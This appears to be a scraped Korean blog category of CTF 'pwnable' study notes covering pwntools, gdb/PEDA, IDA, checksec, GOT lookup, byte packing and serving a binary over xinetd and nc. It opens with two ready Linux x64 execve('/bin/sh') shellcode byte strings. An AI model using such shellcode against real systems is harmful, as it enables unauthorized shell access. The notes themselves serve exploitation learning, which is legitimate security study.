Pwnable!!

Linux/x64 - execve(/bin/sh) Via Push Shellcode (23 bytes)

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


31 bytes

"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"



쉘스톰에 많음

http://shell-storm.org/shellcode/

'Pwnable!!' 카테고리의 다른 글

netstat으로 열려있는 포트찾기  (0) 2018.05.03
포너블을 위한 툴들  (0) 2018.04.30
gdb PEDA 사용 + pwngdb  (0) 2018.04.28
pwntools 사용법  (0) 2018.04.27
python socket 연결  (0) 2018.04.27

gdb PEDA 사용 + pwngdb

2018. 4. 28. 16:59

github



http://noplanlife.com/?p=968


Peda vs Pwndbg

https://blog.minivet.kr/?p=189



설치와 설명

https://hexa-unist.github.io/2015/02/25/PEDA-Introduction-Installation/

https://hexa-unist.github.io/2015/02/26/PEDA-How-To-Use/

'Pwnable!!' 카테고리의 다른 글

포너블을 위한 툴들  (0) 2018.04.30
Linux/x64 Shellcode 모음 (64bit / 64비트)  (0) 2018.04.30
pwntools 사용법  (0) 2018.04.27
python socket 연결  (0) 2018.04.27
readelf를 이용하여 함수의 got주소 알아내기  (0) 2018.04.27

pwntools 사용법

2018. 4. 27. 20:59

http://lclang.tistory.com/82


http://lclang.tistory.com/90?category=254640


http://lclang.tistory.com/94?category=254640



로컬에서 사용법

http://cheesehack.tistory.com/category/Etc/Pwntools%20reference










출처 : https://bpsecblog.wordpress.com/2017/01/18/defcon2016-feed-me/



pwnlib.tubes에서


conn = remote(host, port)



conn.shutdown()

shutdown(direction = "send")[source]

Closes the tube for futher reading or writing depending on direction.

Parameters:direction (str) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.
Returns:None

읽거나 쓰기를 direction옵션에 따라 tube를 닫는다. 

디폴트로는 send라서 출력방향을 닫겠다는 것... 그냥 send를 종료하겠다를 의미.(write를 못하고 read만 됨)



sendlineafter(delimdatatimeout = default) → str[source]

A combination of recvuntil(delim, timeout) and sendline(data).

delim까지 받고나서 data를 보낸다.

python socket 연결

2018. 4. 27. 19:37
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket
import time
 
ADDR = 'localhost' , 7777
 
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(ADDR) # IP, Port
 
msg = s.recv(1024)
 
print(msg)
 
s.send("TEST")
 
print s.recv(1024
 
cs




'Pwnable!!' 카테고리의 다른 글

gdb PEDA 사용 + pwngdb  (0) 2018.04.28
pwntools 사용법  (0) 2018.04.27
readelf를 이용하여 함수의 got주소 알아내기  (0) 2018.04.27
메모리 보호기법 체크 checksec.sh 사용  (1) 2018.04.27
IDA 사용법  (0) 2018.04.27

readelf -r filename | grep func_name


ex) readelf -r test | grep printf

'Pwnable!!' 카테고리의 다른 글

pwntools 사용법  (0) 2018.04.27
python socket 연결  (0) 2018.04.27
메모리 보호기법 체크 checksec.sh 사용  (1) 2018.04.27
IDA 사용법  (0) 2018.04.27
gdb에서 run 실행후 입력값 주기  (0) 2018.04.23

RELRO, Stack Canary, NX, ASLR, DEP, PIE, RELRO 등 해당파일에 리눅스 보호기법이 어느정도 걸려있는지 쉽게 체크할 수 있다.


다운로드는 여기서 http://www.trapkit.de/tools/checksec.html


Examples

normal (or --format cli)

$checksec.sh --file /bin/ls
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /bin/ls

csv

$ checksec.sh --format csv --file /bin/ls
Partial RELRO,Canary found,NX enabled,No PIE,No RPATH,No RUNPATH,/bin/ls

xml

$ checksec.sh --format xml --file /bin/ls
<file relro="partial" canary="yes" nx="yes" pie="no" rpath="no" runpath="no" filename='/bin/ls'/>

누가 업그레이드를 한 버전도 있나봄..


https://github.com/slimm609/checksec.sh


윈도우에서 다운받아 xftp로 linux로 옮겨 사용하려했더니 오류가 뜬다.

-bash: ./checksec.sh: /bin/bash^M: bad interpreter: No such file or directory


이는 윈도우에서 linux로 전송하면서 줄바꿈, 개행문자가 달라서 발생하는 문제로... ^M으로 표기된다.

해결방법을 아래 url에서 찾았다.

https://askubuntu.com/questions/304999/not-able-to-execute-a-sh-file-bin-bashm-bad-interpreter


sed -i -e 's/\r$//' checksec.sh


참고할만한 블로그 : linux 환경에서의 메모리 보호기법을 알아보자 – checksec.sh


 



'Pwnable!!' 카테고리의 다른 글

python socket 연결  (0) 2018.04.27
readelf를 이용하여 함수의 got주소 알아내기  (0) 2018.04.27
IDA 사용법  (0) 2018.04.27
gdb에서 run 실행후 입력값 주기  (0) 2018.04.23
파이썬 주소값 리틀엔디안 변환  (0) 2018.04.23

IDA 사용법

2018. 4. 27. 12:48

IDA Pro 사용법

IDA Pro User Tutorial : 번역본 (원본 : http://www.darkblue.ch/programming/IDA%20User%20Tutorial.pdf)

[K]IDA User Tutorial.pdf


지뢰찾기 리버싱을 통한 IDA Pro 사용법

지뢰찾기+리버싱을+통한+IDA+pro+사용법.pdf


IDA로 ELF Binary 원격 디버깅하기(IDA Linux 원격 디버깅)

http://holinder4s.tistory.com/15

http://ruinick.tistory.com/93



참고하면 좋을 사이트

http://dakuo.tistory.com/23

http://gnu-cse.tistory.com/30

http://bob3rdnewbie.tistory.com/184

https://blog.naver.com/PostView.nhn?blogId=wwwkasa&logNo=80172608999&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F

문자열을 입력 (r <<< Here Strings)

(gdb) r <<< $(python -c 'print "A"*3')

(gdb) r <<< "AAAAAAAAAA"

(gdb) r <<< `python -c 'print "A"*3'`



출처: http://blog.do9.kr/entry/gdb-실행-후-run-명령-시-user-input-주는-방법 [do9dark]

'Pwnable!!' 카테고리의 다른 글

메모리 보호기법 체크 checksec.sh 사용  (1) 2018.04.27
IDA 사용법  (0) 2018.04.27
파이썬 주소값 리틀엔디안 변환  (0) 2018.04.23
nc(netat) 서버 만들기 (xinetd 서비스)  (0) 2018.04.18
procfs_search.h 사용하기  (0) 2018.03.17

파이썬에서 주소값 리틀엔디안으로 표시하기


from struct import *


struct.pack('<L',0x41424344)


'DCBA'


또는 lambda이용


L = lambda x : pack('<L', x)


L(0x41414141)

'Pwnable!!' 카테고리의 다른 글

IDA 사용법  (0) 2018.04.27
gdb에서 run 실행후 입력값 주기  (0) 2018.04.23
nc(netat) 서버 만들기 (xinetd 서비스)  (0) 2018.04.18
procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08

xinetd 서비스


xinetd 서비스를 이용해서 nc 서버 만들기.


1. xinetd 서비스를 설치한다.


sudo apt-get install xinetd


2. /etc/xinetd.d/서비스이름  등록


위 파일을 만들면 된다.

vi /etc/xinetd.d/서비스이름


그리고 안에 이와 같은 내용을 넣어준다.


1
2
3
4
5
6
7
8
9
10
service 서비스이름
{
          disable         = no
          flags           = REUSE
          socket_type     = stream # 사용하는 소켓의 종료 입력. stream은 tcp를 뜻함
          protocol        = tcp       
          wait            = no
          user            = root # 기본은 root로 되어있지만 이건 별로 좋지않다.
          server          = /home/sherlock/workstation/test  # 서비스할 파일 경로
}
cs


참고로 파이썬 test.py를 등록하고 싶다면 아래와같이 해야한다.


    server          = /usr/bin/python
    server_args     = /root/script.py

서비스할 파일을 쉘스크립트를 이용해서 실행하게끔해서 올려주면 경로 프로그램이 실행될 경로까지 설정해 줄 수있다.

test.sh 파일로 test를 실행한다고 할때 아래와 같이 구성할 수 있다.


    cd /home/sherlock/workstation
    ./test

이제 server로 저 쉘스크립트를 올려주면 된다.


3. 서비스를 등록했으면 이 서비스를 nc로 올려주기위해 포트를 설정(/etc/services)


포트를 설정하기위해선 /etc/services를 확인


/etc/services 가장 아래에 보면  # Local Services 가 있는데 그밑에 서비스할 프로그램과 포트를 적어주면된다. 


# Local services

서비스이름 1234/tcp


4. 접속


서비스 재실행 후 nc로 접속해보면 성공적으로 접속되는걸 확인할 수 있다.

service xinetd restart 


nc localhost 1234





참고 : 

http://s0ngsari.tistory.com/entry/nc%EC%84%9C%EB%B2%84-%EC%97%B4%EA%B8%B0-XINETD

http://aceatom.tistory.com/261

http://lily.mmu.ac.kr/lecture/08sm/Fedora2/7jang/2.htm

'Pwnable!!' 카테고리의 다른 글

gdb에서 run 실행후 입력값 주기  (0) 2018.04.23
파이썬 주소값 리틀엔디안 변환  (0) 2018.04.23
procfs_search.h 사용하기  (0) 2018.03.17
fgets과 socket에서 0x00  (0) 2018.03.08
유용한 쉘코드(원격)  (0) 2018.02.18

+ Recent posts